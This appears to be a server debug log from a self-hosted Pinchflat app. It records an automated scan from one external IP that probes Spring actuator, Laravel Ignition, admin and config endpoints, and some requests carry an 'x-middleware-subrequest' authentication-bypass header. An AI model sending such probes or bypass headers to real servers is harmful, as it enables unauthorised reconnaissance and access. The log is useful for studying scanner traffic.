{:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37032}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37032}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21592.0>, params: %{}, path_info: ["v2", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v2/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max (truncated) 15:40:36.295 [info] GET /admin/settings 15:40:36.295 [debug] QUERY OK source="settings" db=0.0ms idle=222.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.295 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.296 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.296 [error] #PID<0.21594.0> running PinchflatWeb.Endpoint (connection #PID<0.21593.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21593.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37046}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21594.0>, params: %{}, path_info: ["admin", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgd__bdIAzXMACMkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21593.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37046}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21593.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37046}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21594.0>, params: %{}, path_info: ["admin", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, (truncated) 15:40:36.310 [info] GET /configprops 15:40:36.310 [debug] QUERY OK source="settings" db=0.0ms idle=127.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.310 [debug] QUERY OK source="settings" db=0.0ms idle=125.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.311 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.311 [error] #PID<0.21596.0> running PinchflatWeb.Endpoint (connection #PID<0.21595.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37060}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21596.0>, params: %{}, path_info: ["configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgeDll_VMVOoABcLi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37060}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37060}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21596.0>, params: %{}, path_info: ["configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x- (truncated) 15:40:36.407 [info] GET /settings 15:40:36.408 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:40:36.408 [debug] QUERY OK source="settings" db=0.3ms idle=222.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.408 [debug] QUERY OK source="settings" db=0.1ms idle=112.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.409 [debug] QUERY OK source="settings" db=0.0ms idle=113.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.409 [debug] QUERY OK source="settings" db=0.0ms idle=98.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.410 [info] Sent 200 in 2ms 15:40:36.421 [info] GET /api/config 15:40:36.422 [debug] QUERY OK source="settings" db=0.0ms idle=111.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.422 [debug] QUERY OK source="settings" db=0.1ms idle=13.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.422 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.422 [error] #PID<0.21600.0> running PinchflatWeb.Endpoint (connection #PID<0.21599.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37072}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21600.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgeeIISWBykYABcNi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37072}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37072}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21600.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", (truncated) 15:40:36.530 [info] GET /_ignition/health-check 15:40:36.530 [debug] QUERY OK source="settings" db=0.1ms idle=121.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.531 [debug] QUERY OK source="settings" db=0.0ms idle=121.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.531 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.531 [error] #PID<0.21602.0> running PinchflatWeb.Endpoint (connection #PID<0.21601.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_ignition/health-check ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/health-check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21601.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21602.0>, params: %{}, path_info: ["_ignition", "health-check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: 